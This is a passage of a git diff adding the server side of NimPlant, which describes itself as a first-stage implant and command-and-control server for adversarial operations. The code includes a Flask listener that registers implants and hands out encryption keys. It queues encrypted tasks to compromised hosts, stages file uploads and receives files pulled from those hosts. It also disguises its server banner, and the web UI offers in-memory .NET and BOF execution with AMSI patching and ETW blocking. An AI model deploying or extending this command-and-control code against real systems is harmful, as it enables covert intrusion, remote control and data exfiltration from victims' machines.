in contents] + else: + # relative path + contents = os.listdir(os.curdir) + return contents + + # Dynamically complete commands + def complete(text, state): + line = readline.get_line_buffer() + if line == text: + results = [x for x in commands if x.startswith(text)] + [None] + else: + results = [x for x in list_folder(text) if x.startswith(text)] + [None] + + return results[state] + + readline.set_completer(complete) + readline.parse_and_bind("tab: complete") + readline.set_completer_delims(" \t\n`~!@#$%^&*()-=+[{]}\\|;:'\",<>?") + inputFunction = input + +# Command history and command / path completion on Windows +else: + from prompt_toolkit import PromptSession + from prompt_toolkit.auto_suggest import AutoSuggestFromHistory + from prompt_toolkit.completion import NestedCompleter + from prompt_toolkit.contrib.completers.system import SystemCompleter + from prompt_toolkit.shortcuts import CompleteStyle + + from .commands import getCommandList + + commands = getCommandList() + + # Complete system commands and paths + systemCompleter = SystemCompleter() + + # Use a nested dict for each command to prevent arguments from being auto-completed before a command is entered and vice versa + dict = {} + for c in commands: + dict[c] = systemCompleter + nestedCompleter = NestedCompleter.from_nested_dict(dict) + + session = PromptSession() + +# User prompt +def promptUserForCommand(): + from .nimplant import np_server + from .commands import handleCommand + + np = np_server.getActiveNimplant() + + if os.name == "posix": + command = input(f"NimPlant {np.id} $ > ") + else: + command = session.prompt( + f"NimPlant {np.id} $ > ", + completer=nestedCompleter, + complete_style=CompleteStyle.READLINE_LIKE, + auto_suggest=AutoSuggestFromHistory(), + ) + + handleCommand(command) diff --git a/server/util/listener.py b/server/util/listener.py new file mode 100644 index 0000000..56ddd5d --- /dev/null +++ b/server/util/listener.py @@ -0,0 +1,334 @@ +from .config import config +from .crypto import * +from .func import * +from .nimplant import * +from .notify import notify_user +from gevent.pywsgi import WSGIServer +from zlib import decompress, compress +import base64 +import flask +import gzip +import hashlib +import io +import json + +# Parse configuration from 'config.toml' +try: + listenerType = config["listener"]["type"] + listenerIp = config["listener"]["ip"] + listenerPort = config["listener"]["port"] + registerPath = config["listener"]["registerPath"] + taskPath = config["listener"]["taskPath"] + resultPath = config["listener"]["resultPath"] + userAgent = config["nimplant"]["userAgent"] + if listenerType == "HTTPS": + sslCertPath = config["listener"]["sslCertPath"] + sslKeyPath = config["listener"]["sslKeyPath"] + b_ident = b"789CF3CBCC0DC849CC2B51703652084E2D2A4B2D02003B5C0650" +except KeyError as e: + nimplantPrint( + f"ERROR: Could not load configuration, check your 'config.toml': {str(e)}" + ) + os._exit(1) + +# Init flask app and surpress Flask/Gevent logging and startup messages +app = flask.Flask(__name__) +ident = decompress(base64.b16decode(b_ident)).decode("utf-8") + +# Define a function to notify users of unknown or erroneous requests +def notifyBadRequest(src, method, path, user_agent, reason=None): + if reason == "badkey": + nimplantPrint( + f"Rejected malformed {method} request. This is likely caused by a XOR key mismatch between NimPlant and server! " + f"Request from '{src}': {path} ({user_agent})." + ) + else: + nimplantPrint(f"Rejected {method} request from '{src}': {path} ({user_agent})") + + +# Define Flask listener to run in thread +def flaskListener(xor_key): + @app.route(registerPath, methods=["GET", "POST"]) + # Verify expected user-agent for incoming registrations + def getNimPlant(): + if userAgent == flask.request.headers.get("User-Agent"): + # First request from NimPlant (GET, no data) -> Initiate NimPlant and return XORed key + if flask.request.method == "GET": + np = NimPlant() + np_server.add(np) + xor_bytes = xorString(np.cryptKey, xor_key) + encodedKey = base64.b64encode(xor_bytes).decode("utf-8") + return flask.jsonify(id=np.guid, k=encodedKey), 200 + + # Second request from NimPlant (POST, encrypted blob) -> Activate the NimPlant object based on encrypted data + elif flask.request.method == "POST": + data = flask.request.json + np = np_server.getNimplantByGuid( + flask.request.headers.get("X-Identifier") + ) + data = data["data"] + + try: + data = decryptData(data, np.cryptKey) + dataJson = json.loads(data) + ipAddrInt = dataJson["i"] + ipAddrExt = flask.request.remote_addr + username = dataJson["u"] + hostname = dataJson["h"] + osBuild = dataJson["o"] + pid = dataJson["p"] + pname = dataJson["P"] + riskyMode = dataJson["r"] + + np.activate( + ipAddrExt, + ipAddrInt, + username, + hostname, + osBuild, + pid, + pname, + riskyMode, + ) + + notify_user(np) + + if not np_server.containsActiveNimplants(): + np_server.selectNimplant(np.guid) + + return flask.jsonify(status="OK"), 200 + + except: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + "badkey", + ) + return flask.jsonify(status="Not found"), 404 + else: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + + @app.route(taskPath, methods=["GET"]) + # Return the first active task IF the user-agent is as expected + def getTask(): + np = np_server.getNimplantByGuid(flask.request.headers.get("X-Identifier")) + if np is not None: + if userAgent == flask.request.headers.get("User-Agent"): + # Update the external IP address if it changed + if not np.ipAddrExt == flask.request.remote_addr: + np.ipAddrExt = flask.request.remote_addr + + if np.pendingTasks: + # There is a task - check in to update 'last seen' and return the task + np.checkIn() + task = encryptData(str(np.getNextTask()), np.cryptKey) + return flask.jsonify(t=task), 200 + else: + # There is no task - check in to update 'last seen' + if np.isActive(): + np.checkIn() + return flask.jsonify(status="OK"), 200 + else: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + else: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + + @app.route(taskPath + "/", methods=["GET"]) + # Return a hosted file as gzip-compressed stream for the 'upload' command, + # IF the user-agent is as expected AND the caller knows the file ID + def uploadFile(fileId): + np = np_server.getNimplantByGuid(flask.request.headers.get("X-Identifier")) + if np is not None: + if userAgent == flask.request.headers.get("User-Agent"): + if (np.hostingFile != None) and ( + fileId == hashlib.md5(np.hostingFile.encode("utf-8")).hexdigest() + ): + try: + # Construct a GZIP stream of the file to upload in-memory + # Note: We 'double-compress' here since compression has little use after encryption, + # but we want to present the file as a GZIP stream anyway + taskGuid = flask.request.headers.get("X-Unique-ID") + with open(np.hostingFile, mode="rb") as contents: + processedFile = encryptData( + compress(contents.read()), np.cryptKey + ) + + with io.BytesIO() as data: + with gzip.GzipFile(fileobj=data, mode="wb") as zip: + zip.write(processedFile.encode("utf-8")) + gzippedResult = data.getvalue() + + np.stopHostingFile() + + # Return the GZIP stream as a response + res = flask.make_response(gzippedResult) + res.mimetype = "application/x-gzip" + res.headers["Content-Encoding"] = "gzip" + return res + + except Exception as e: + # Error: Could not host the file + nimplantPrint( + f"An error occurred while uploading file:\n{type(e)}:{e}", + np.guid, + taskGuid=taskGuid, + ) + np.stopHostingFile() + return flask.jsonify(status="Not found"), 404 + else: + # Error: The Nimplant is not hosting a file or the file ID is incorrect + return flask.jsonify(status="OK"), 200 + else: + # Error: The user-agent is incorrect + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + else: + # Error: No Nimplant with the given GUID is currently active + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + + @app.route(taskPath + "/u", methods=["POST"]) + # Receive a file downloaded from NimPlant through the 'download' command, IF the user-agent is as expected AND the NimPlant object is expecting a file + def downloadFile(): + np = np_server.getNimplantByGuid(flask.request.headers.get("X-Identifier")) + if np is not None: + if userAgent == flask.request.headers.get("User-Agent"): + if np.receivingFile != None: + try: + taskGuid = flask.request.headers.get("X-Unique-ID") + uncompressed_file = gzip.decompress( + decryptBinaryData(flask.request.data, np.cryptKey) + ) + with open(np.receivingFile, "wb") as f: + f.write(uncompressed_file) + nimplantPrint( + f"Successfully downloaded file to '{os.path.abspath(np.receivingFile)}' on NimPlant server.", + np.guid, + taskGuid=taskGuid, + ) + + np.stopReceivingFile() + return flask.jsonify(status="OK"), 200 + except Exception as e: + nimplantPrint( + f"An error occurred while downloading file: {e}", + np.guid, + taskGuid=taskGuid, + ) + np.stopReceivingFile() + return flask.jsonify(status="Not found"), 404 + else: + return flask.jsonify(status="OK"), 200 + else: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + else: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + + @app.route(resultPath, methods=["POST"]) + # Parse command output IF the user-agent is as expected + def getResult(): + data = flask.request.json + np = np_server.getNimplantByGuid(flask.request.headers.get("X-Identifier")) + if np is not None: + if userAgent == flask.request.headers.get("User-Agent"): + res = json.loads(decryptData(data["data"], np.cryptKey)) + np.setTaskResult( + res["guid"], base64.b64decode(res["result"]).decode("utf-8") + ) + return flask.jsonify(status="OK"), 200 + else: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + else: + notifyBadRequest( + flask.request.remote_addr, + flask.request.method, + flask.request.path, + flask.request.headers.get("User-Agent"), + ) + return flask.jsonify(status="Not found"), 404 + + @app.errorhandler(Exception) + def all_exception_handler(error): + nimplantPrint( + f"Rejected {flask.request.method} request from '{flask.request.remote_addr}' to {flask.request.path} due to error: {error}" + ) + return flask.jsonify(status="Not found"), 404 + + @app.after_request + def changeserver(response): + response.headers["Server"] = ident + return response + + # Run the Flask web server using Gevent + if listenerType == "HTTP": + try: + http_server = WSGIServer((listenerIp, listenerPort), app, log=None) + http_server.serve_forever() + except Exception as e: + nimplantPrint( + f"ERROR: Error setting up web server. Verify listener settings in 'config.toml'. Exception: {e}" + ) + os._exit(1) + else: + try: + https_server = WSGIServer( + (listenerIp, listenerPort), + app, + keyfile=sslKeyPath, + certfile=sslCertPath, + log=None, + ) + https_server.serve_forever() + except Exception as e: + nimplantPrint( + f"ERROR: Error setting up SSL web server. Verify 'sslCertPath', 'sslKeyPath', and listener settings in 'config.toml'. Exception: {e}" + ) + os._exit(1) diff --git a/server/util/nimplant.py b/server/util/nimplant.py new file mode 100644 index 0000000..af2eb8b --- /dev/null +++ b/server/util/nimplant.py @@ -0,0 +1,395 @@ +import datetime, itertools, random, string +from re import T +from secrets import choice +from .config import config +from .func import * +from .db import * + +# Parse configuration from 'config.toml' +try: + initialSleepTime = config["nimplant"]["sleepTime"] + initialSleepJitter = config["nimplant"]["sleepTime"] + killDate = config["nimplant"]["killDate"] +except KeyError as e: + nimplantPrint( + f"ERROR: Could not load configuration, check your 'config.toml': {str(e)}" + ) + os._exit(1) + + +class Server: + def __init__(self): + self.nimplantList = [] # type: List[NimPlant] + self.activeNimPlantGuid = None + + self.guid = None + self.name = None + self.xorKey = None + self.killed = False + self.managementIp = config["server"]["ip"] + self.managementPort = config["server"]["port"] + self.listenerType = config["listener"]["type"] + self.listenerIp = config["listener"]["ip"] + self.listenerHost = config["listener"]["hostname"] + self.listenerPort = config["listener"]["port"] + self.registerPath = config["listener"]["registerPath"] + self.taskPath = config["listener"]["taskPath"] + self.resultPath = config["listener"]["resultPath"] + self.riskyMode = config["nimplant"]["riskyMode"] + self.sleepTime = config["nimplant"]["sleepTime"] + self.sleepJitter = config["nimplant"]["sleepJitter"] + self.killDate = config["nimplant"]["killDate"] + self.userAgent = config["nimplant"]["userAgent"] + + def asdict(self): + return { + "guid": self.guid, + "name": self.name, + "xorKey": self.xorKey, + "managementIp": self.managementIp, + "managementPort": self.managementPort, + "listenerType": self.listenerType, + "listenerIp": self.listenerIp, + "listenerHost": self.listenerHost, + "listenerPort": self.listenerPort, + "registerPath": self.registerPath, + "taskPath": self.taskPath, + "resultPath": self.resultPath, + "riskyMode": self.riskyMode, + "sleepTime": self.sleepTime, + "sleepJitter": self.sleepJitter, + "killDate": self.killDate, + "userAgent": self.userAgent, + "killed": self.killed, + } + + def initNewServer(self, name, xorKey): + self.guid = "".join( + random.choice(string.ascii_letters + string.digits) for i in range(8) + ) + self.xorKey = xorKey + + if not name == "": + self.name = name + else: + self.name = self.guid + + def restoreServerFromDb(self): + prevServer = dbGetPreviousServerConfig() + + self.guid = prevServer["guid"] + self.xorKey = prevServer["xorKey"] + self.name = prevServer["name"] + + prevNimplants = dbGetPreviousNimplants(self.guid) + for prevNimplant in prevNimplants: + np = NimPlant() + np.restoreNimplantFromDb(prevNimplant) + self.add(np) + + def add(self, np): + self.nimplantList.append(np) + + def selectNimplant(self, id): + if len(id) == 8: + # Select by GUID + res = [np for np in self.nimplantList if np.guid == id] + else: + # Select by sequential ID + res = [np for np in self.nimplantList if np.id == int(id)] + + if res and res[0].active == True: + nimplantPrint(f"Starting interaction with NimPlant #{res[0].id}.") + self.activeNimPlantGuid = res[0].guid + else: + nimplantPrint("Invalid NimPlant ID.") + + def selectNextActiveNimplant(self): + guid = [np for np in self.nimplantList if np.active == True][0].guid + self.selectNimplant(guid) + + def getActiveNimplant(self): + res = [np for np in self.nimplantList if np.guid == self.activeNimPlantGuid] + if res: + return res[0] + else: + return None + + def getNimplantByGuid(self, guid): + res = [np for np in self.nimplantList if np.guid == guid] + if res: + return res[0] + else: + return None + + def containsActiveNimplants(self): + for np in self.nimplantList: + if np.active: + if np.late: + return False + return True + return False + + def isActiveNimplantSelected(self): + if self.activeNimPlantGuid != None: + return self.getActiveNimplant().active + else: + return False + + def kill(self): + dbKillServer(self.guid) + + def killAllNimplants(self): + for np in self.nimplantList: + np.kill() + + def getInfo(self, all=False): + result = "\n" + result += "{:<4} {:<8} {:<15} {:<15} {:<15} {:<15} {:<20} {:<20}\n".format( + "ID", + "GUID", + "EXTERNAL IP", + "INTERNAL IP", + "USERNAME", + "HOSTNAME", + "PID", + "LAST CHECK-IN", + ) + for np in self.nimplantList: + if all or np.active == True: + result += ( + "{:<4} {:<8} {:<15} {:<15} {:<15} {:<15} {:<20} {:<20}\n".format( + np.id, + np.guid, + np.ipAddrExt, + np.ipAddrInt, + np.username, + np.hostname, + f"{np.pname} ({np.pid})", + f"{np.lastCheckin} ({np.getLastCheckinSeconds()}s ago)", + ) + ) + + return result.rstrip() + + def get_info(self): + np_serverInfo = [] + for np in self.nimplantList: + np_serverInfo.append(np.get_info()) + + return {"nimplants": np_serverInfo} + + def checkLateNimplants(self): + for np in self.nimplantList: + np.isLate() + + +# Class to contain data and status about connected implant +class NimPlant: + newId = itertools.count(start=1) + + def __init__(self): + self.id = str(next(self.newId)) + self.guid = "".join( + random.choice(string.ascii_letters + string.digits) for i in range(8) + ) + self.active = False + self.late = False + self.ipAddrExt = None + self.ipAddrInt = None + self.username = None + self.hostname = None + self.osBuild = None + self.pid = None + self.pname = None + self.riskyMode = None + self.sleepTime = initialSleepTime + self.sleepJitter = initialSleepJitter + self.killDate = killDate + self.firstCheckin = None + self.lastCheckin = None + self.pendingTasks = [] # list of dicts {"guid": X, "task": Y} + self.hostingFile = None + self.receivingFile = None + + # Generate random, 16-char key for crypto operations + self.cryptKey = "".join( + choice(string.ascii_letters + string.digits) for x in range(16) + ) + + def activate( + self, ipAddrExt, ipAddrInt, username, hostname, osBuild, pid, pname, riskyMode + ): + self.active = True + self.ipAddrExt = ipAddrExt + self.ipAddrInt = ipAddrInt + self.username = username + self.hostname = hostname + self.osBuild = osBuild + self.pid = pid + self.pname = pname + self.riskyMode = riskyMode + self.firstCheckin = timestamp() + self.lastCheckin = timestamp() + + nimplantPrint( + f"NimPlant #{self.id} ({self.guid}) checked in from {username}@{hostname} at '{ipAddrExt}'!\n" + f"OS version is {osBuild}." + ) + + # Create new Nimplant object in the database + dbInitNimplant(self, np_server.guid) + + def restoreNimplantFromDb(self, dbNimplant): + self.id = dbNimplant["id"] + self.guid = dbNimplant["guid"] + self.active = dbNimplant["active"] + self.late = dbNimplant["late"] + self.ipAddrExt = dbNimplant["ipAddrExt"] + self.ipAddrInt = dbNimplant["ipAddrInt"] + self.username = dbNimplant["username"] + self.hostname = dbNimplant["hostname"] + self.osBuild = dbNimplant["osBuild"] + self.pid = dbNimplant["pid"] + self.pname = dbNimplant["pname"] + self.riskyMode = dbNimplant["riskyMode"] + self.sleepTime = dbNimplant["sleepTime"] + self.sleepJitter = dbNimplant["sleepJitter"] + self.killDate = dbNimplant["killDate"] + self.firstCheckin = dbNimplant["firstCheckin"] + self.lastCheckin = dbNimplant["lastCheckin"] + self.hostingFile = dbNimplant["hostingFile"] + self.receivingFile = dbNimplant["receivingFile"] + self.cryptKey = dbNimplant["cryptKey"] + + def checkIn(self): + self.lastCheckin = timestamp() + self.late = False + if self.pendingTasks: + for t in self.pendingTasks: + if t["task"] == "kill": + self.active = False + nimplantPrint( + f"NimPlant #{self.id} killed.", self.guid, taskGuid=t["guid"] + ) + + dbUpdateNimplant(self) + + def getLastCheckinSeconds(self): + if self.lastCheckin is None: + return None + lastCheckinDatetime = datetime.strptime(self.lastCheckin, timestampFormat) + nowDatetime = datetime.now() + return (nowDatetime - lastCheckinDatetime).seconds + + def isActive(self): + if not self.active: + return False + return self.active + + def isLate(self): + # Check if the check-in is taking longer than the maximum expected time (with a 10s margin) + if self.active == False: + return False + + if self.getLastCheckinSeconds() > ( + self.sleepTime + (self.sleepTime * (self.sleepJitter / 100)) + 10 + ): + if self.late: + return True + + self.late = True + nimplantPrint("NimPlant is late...", self.guid) + dbUpdateNimplant(self) + return True + else: + self.late = False + return False + + def kill(self): + self.addTask("kill") + + def getInfo(self): + return prettyPrint(vars(self)) + + def getNextTask(self): + task = self.pendingTasks[0] + self.pendingTasks.remove(task) + return task + + def addTask(self, task, taskFriendly=None): + # Log the 'friendly' command separately, for use with B64-driven commands such as inline-execute + if taskFriendly is None: + taskFriendly = task + + guid = "".join( + random.choice(string.ascii_letters + string.digits) for i in range(8) + ) + self.pendingTasks.append({"guid": guid, "task": task}) + dbNimplantLog(self, taskGuid=guid, task=task, taskFriendly=taskFriendly) + dbUpdateNimplant(self) + return guid + + def setTaskResult(self, taskGuid, result): + if result == "NIMPLANT_KILL_TIMER_EXPIRED": + # Process NimPlant self destruct + self.active = False + nimplantPrint( + "NimPlant announced self-destruct (kill date passed). RIP.", self.guid + ) + else: + # Parse new sleep time if changed + if result.startswith("Sleep time changed"): + rsplit = result.split(" ") + self.sleepTime = int(rsplit[4]) + self.sleepJitter = int(rsplit[6].split("%")[0][1:]) + + # Process result + nimplantPrint(result, self.guid, taskGuid=taskGuid) + + dbUpdateNimplant(self) + + def cancelAllTasks(self): + self.pendingTasks = [] + dbUpdateNimplant(self) + + def hostFile(self, file): + self.hostingFile = file + dbUpdateNimplant(self) + + def stopHostingFile(self): + self.hostingFile = None + dbUpdateNimplant(self) + + def receiveFile(self, file): + self.receivingFile = file + dbUpdateNimplant(self) + + def stopReceivingFile(self): + self.receivingFile = None + dbUpdateNimplant(self) + + def get_info(self): + return { + "id": self.id, + "guid": self.guid, + "active": self.active, + "externalIp": self.ipAddrExt, + "internalIp": self.ipAddrInt, + "username": self.username, + "hostname": self.hostname, + "pid": self.pid, + "lastCheckIn": self.lastCheckin, + "osBuild": self.osBuild, + "sleep": self.sleepTime, + "jitter": self.sleepJitter, + "killDate": self.killDate, + "firstCheckIn": self.firstCheckin, + "pendingTasks": self.pendingTasks, + "hostingFile": self.hostingFile, + "cryptKey": self.cryptKey, + } + + +# Initialize global class to keep nimplant objects in +np_server = Server() diff --git a/server/util/notify.py b/server/util/notify.py new file mode 100644 index 0000000..0bd6c21 --- /dev/null +++ b/server/util/notify.py @@ -0,0 +1,47 @@ +import os +import requests +import urllib.parse + +# This is a placeholder class for easy extensibility, more than anything +# You can easily add your own notification method below, and call it in the 'notify_user' function +# It will then be called when a new implant checks in, passing the NimPlant object (see nimplant.py) + + +def notify_user(np): + try: + message = ( + "*A new NimPlant checked in!*\n\n" + f"```\nUsername: {np.username}\n" + f"Hostname: {np.hostname}\n" + f"OS build: {np.osBuild}\n" + f"External IP: {np.ipAddrExt}\n" + f"Internal IP: {np.ipAddrInt}\n```" + ) + + if ( + os.getenv("TELEGRAM_CHAT_ID") is not None + and os.getenv("TELEGRAM_BOT_TOKEN") is not None + ): + # Telegram notification + notify_telegram( + message, os.getenv("TELEGRAM_CHAT_ID"), os.getenv("TELEGRAM_BOT_TOKEN") + ) + else: + # No relevant environment variables set, do not notify + pass + except Exception as e: + print(f"An exception occurred while trying to send a push notification: {e}") + + +def notify_telegram(message, telegram_chat_id, telegram_bot_token): + message = urllib.parse.quote(message) + notification_request = ( + "https://api.telegram.org/bot" + + telegram_bot_token + + "/sendMessage?chat_id=" + + telegram_chat_id + + "&parse_mode=Markdown&text=" + + message + ) + response = requests.get(notification_request) + return response.json() diff --git a/server/web/downloads.html b/server/web/downloads.html new file mode 100644 index 0000000..bf8eb59 --- /dev/null +++ b/server/web/downloads.html @@ -0,0 +1 @@ +Nimplant

Downloads

Filename
Size
Downloaded
Nothing here...
\ No newline at end of file diff --git a/server/web/index.html b/server/web/index.html new file mode 100644 index 0000000..904ded0 --- /dev/null +++ b/server/web/index.html @@ -0,0 +1 @@ +Nimplant

Home

A first-stage implant for adversarial operations

Nimplant is a lightweight stage-1 implant and C2 server. Get started using the action menu, or check out the Github repo for more information.
\ No newline at end of file diff --git a/server/web/nimplants.html b/server/web/nimplants.html new file mode 100644 index 0000000..53fd069 --- /dev/null +++ b/server/web/nimplants.html @@ -0,0 +1 @@ +Nimplant

Nimplants

Nimplant
System
Network
Loading...
\ No newline at end of file diff --git a/server/web/nimplants/details.html b/server/web/nimplants/details.html new file mode 100644 index 0000000..599d40c --- /dev/null +++ b/server/web/nimplants/details.html @@ -0,0 +1,12 @@ +404: This page could not be found

404

This page could not be found.

\ No newline at end of file diff --git a/server/web/server.html b/server/web/server.html new file mode 100644 index 0000000..3a229f3 --- /dev/null +++ b/server/web/server.html @@ -0,0 +1 @@ +Nimplant

Server Info

Connection Information

Connected to Server at
Listener running at

Nimplant Profile

Nimplants sleep for seconds (% jitter) by default. Kill date is
Default Nimplant user agent:
Loading...
\ No newline at end of file diff --git a/server/web/static/404.html b/server/web/static/404.html new file mode 100644 index 0000000..1a4a096 --- /dev/null +++ b/server/web/static/404.html @@ -0,0 +1,12 @@ +404: This page could not be found

404

This page could not be found.

\ No newline at end of file diff --git a/server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_buildManifest.js b/server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_buildManifest.js new file mode 100644 index 0000000..de24891 --- /dev/null +++ b/server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_buildManifest.js @@ -0,0 +1 @@ +self.__BUILD_MANIFEST=function(s,a,e,c){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[s,"static/chunks/845-4fb261feecd435be.js","static/chunks/pages/index-57d3eb7d27124de8.js"],"/_error":["static/chunks/pages/_error-8353112a01355ec2.js"],"/downloads":[s,a,"static/chunks/pages/downloads-2f0191d3d8f39adb.js"],"/nimplants":[s,a,"static/chunks/pages/nimplants-e7253f70128fa4dc.js"],"/nimplants/details":[s,a,e,c,"static/chunks/pages/nimplants/details-6f5a875821a83723.js"],"/server":[s,a,e,c,"static/chunks/pages/server-dcf178e42882a4db.js"],sortedPages:["/","/_app","/_error","/downloads","/nimplants","/nimplants/details","/server"]}}("static/chunks/968-10dac91721e96090.js","static/chunks/673-f991f050544d182e.js","static/chunks/824-bac75cb64c553388.js","static/chunks/200-eb0f3103c52e99a0.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file diff --git a/server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_ssgManifest.js b/server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_ssgManifest.js new file mode 100644 index 0000000..0511aa8 --- /dev/null +++ b/server/web/static/_next/static/_P-evDBh1i_81mqnnQzEU/_ssgManifest.js @@ -0,0 +1 @@ +self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB(); \ No newline at end of file diff --git a/server/web/static/_next/static/chunks/200-eb0f3103c52e99a0.js b/server/web/static/_next/static/chunks/200-eb0f3103c52e99a0.js new file mode 100644 index 0000000..af8bfe7 --- /dev/null +++ b/server/web/static/_next/static/chunks/200-eb0f3103c52e99a0.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[200],{3680:function(e,n,t){t.d(n,{Z:function(){return P}});var r=t(5893),o=t(7564),l=t(1232),i=t(3723),a=t(5606),c=t(7841),s=t(5154),u=t(4998),d=t(4065),h=t(5909),p=t(4707),x=t(7294),f=t(3485),g=t(5117),m=t(8818),v=t(50),j=t(8054),y=t(4151),C=t(292),S=t(4201),w=function(e){let{modalOpen:n,setModalOpen:t,npGuid:i}=e,[a,d]=(0,x.useState)(null),[h,p]=(0,x.useState)("go"),[w,E]=(0,x.useState)([]),[T,b]=(0,x.useState)(!1),I=()=>{E([...w,{value:"",type:"z"}])},k=(e,n,t)=>{E(w.map((r,o)=>o===e?{value:n,type:t}:r))},P=e=>{E(w.filter((n,t)=>t!==e))},F=()=>{let e=new FileReader;e.readAsDataURL(a),e.onload=e=>{var t;let r=null===(t=e.target)||void 0===t?void 0:t.result,o=r.replace("data:","").replace(/^.+,/,""),l=w.map(e=>"".concat(e.value," ").concat(e.type)).join(" ");b(!0),(0,u.QL)(String(i),"inline-execute ".concat(o," ").concat(h," ").concat(l),n)};let n=()=>{t(!1),d(null),p("go"),E([]),b(!1)}};return(0,r.jsxs)(f.u,{opened:n,onClose:()=>t(!1),title:(0,r.jsx)("b",{children:"Inline-Execute: Execute BOF file"}),size:"auto",centered:!0,children:[(0,r.jsx)(g.x,{children:"Execute a Beacon Object File (BOF) in-memory."}),(0,r.jsx)(g.x,{children:"Caution: BOF crashes will crash NimPlant too!"}),(0,r.jsx)(m.T,{h:"xl"}),(0,r.jsxs)(v.r,{columns:4,children:[(0,r.jsx)(v.r.Col,{span:3,children:(0,r.jsx)(l.Z,{grow:!0,children:(0,r.jsx)(j.S,{onChange:d,children:e=>(0,r.jsx)(c.z,{color:"gray",...e,children:a?"BOF file: "+a.name:"Select x64 BOF file"})})})}),(0,r.jsx)(v.r.Col,{span:1,children:(0,r.jsx)(y.I,{placeholder:"Entrypoint",value:h,onChange:e=>p(e.currentTarget.value)})})]}),(0,r.jsx)(o.K,{py:w.length>0?"lg":"sm",children:w.map((e,n)=>(0,r.jsxs)(v.r,{columns:12,children:[(0,r.jsx)(v.r.Col,{span:8,children:(0,r.jsx)(y.I,{placeholder:"Argument ".concat(n+1),value:e.value,onChange:t=>k(n,t.currentTarget.value,e.type)})}),(0,r.jsx)(v.r.Col,{span:3,children:(0,r.jsx)(C.p,{placeholder:"Argument type",value:e.type,onChange:t=>k(n,e.value,t.currentTarget.value),data:[{label:"String",value:"z"},{label:"Wide String",value:"Z"},{label:"Integer",value:"i"},{label:"Short",value:"s"},{label:"Binary (b64)",value:"b"}]})}),(0,r.jsx)(v.r.Col,{span:1,children:(0,r.jsx)(S.P,{size:"lg",onClick:()=>P(n)})})]},n))}),(0,r.jsx)(l.Z,{grow:!0,children:(0,r.jsx)(c.z,{color:"gray",onClick:I,children:"Add argument"})}),(0,r.jsx)(m.T,{h:"xl"}),(0,r.jsx)(c.z,{onClick:F,leftIcon:(0,r.jsx)(s.fF,{}),loading:T,sx:{width:"100%"},children:"Execute"})]})},E=t(9814),T=t(9876),b=t(8602),I=function(e){let{modalOpen:n,setModalOpen:t,npGuid:o}=e,[l,i]=(0,x.useState)(null),[a,d]=(0,x.useState)(""),[h,p]=(0,x.useState)(!0),[v,C]=(0,x.useState)(!0),[S,w]=(0,x.useState)(!1),I=()=>{l&&null!==l&&(w(!0),(0,u.cT)(l,k,P))},k=e=>{(0,u.QL)(String(o),"execute-assembly BYPASSAMSI=".concat(h?1:0," BLOCKETW=").concat(v?1:0,' "').concat(e,'" ').concat(a),P)},P=()=>{t(!1),i(null),d(""),p(!0),C(!0),w(!1)};return(0,r.jsxs)(f.u,{opened:n,onClose:()=>t(!1),title:(0,r.jsx)("b",{children:"Execute-Assembly: Execute .NET program"}),size:"auto",centered:!0,children:[(0,r.jsx)(g.x,{children:"Execute a .NET (C#) program in-memory."}),(0,r.jsx)(g.x,{children:"Caution: Running execute-assembly will load the CLR!"}),(0,r.jsx)(m.T,{h:"xl"}),(0,r.jsxs)(E.M,{cols:1,children:[(0,r.jsx)(j.S,{onChange:i,children:e=>(0,r.jsx)(c.z,{color:"gray",...e,children:l?"File: "+l.name:"Select .NET binary"})}),(0,r.jsx)(y.I,{placeholder:"Arguments",value:a,onChange:e=>d(e.currentTarget.value)}),(0,r.jsxs)(T.k,{gap:"xl",justify:"center",align:"center",children:[(0,r.jsx)(b.A,{checked:h,onChange:p,children:"Patch AMSI"}),(0,r.jsx)(b.A,{checked:v,onChange:C,children:"Block ETW"})]})]}),(0,r.jsx)(m.T,{h:"xl"}),(0,r.jsx)(c.z,{onClick:I,leftIcon:(0,r.jsx)(s.fF,{}),sx:{width:"100%"},loading:S,children:"Execute"})]})},k=function(e){let{modalOpen:n,setModalOpen:t,npGuid:o}=e,[l,i]=(0,x.useState)(null),[a,d]=(0,x.useState)(""),[h,p]=(0,x.useState)(!1),v=()=>{l&&null!==l&&(p(!0),(0,u.cT)(l,C,S))},C=e=>{(0,u.QL)(String(o),'upload "'.concat(e,'" "').concat(a,'"'),S)},S=()=>{t(!1),i(null),d(""),p(!1)};return(0,r.jsxs)(f.u,{opened:n,onClose:()=>t(!1),title:(0,r.jsx)("b",{children:"Upload: Upload a file"}),size:"auto",centered:!0,children:[(0,r.jsx)(g.x,{children:"Upload a file to the 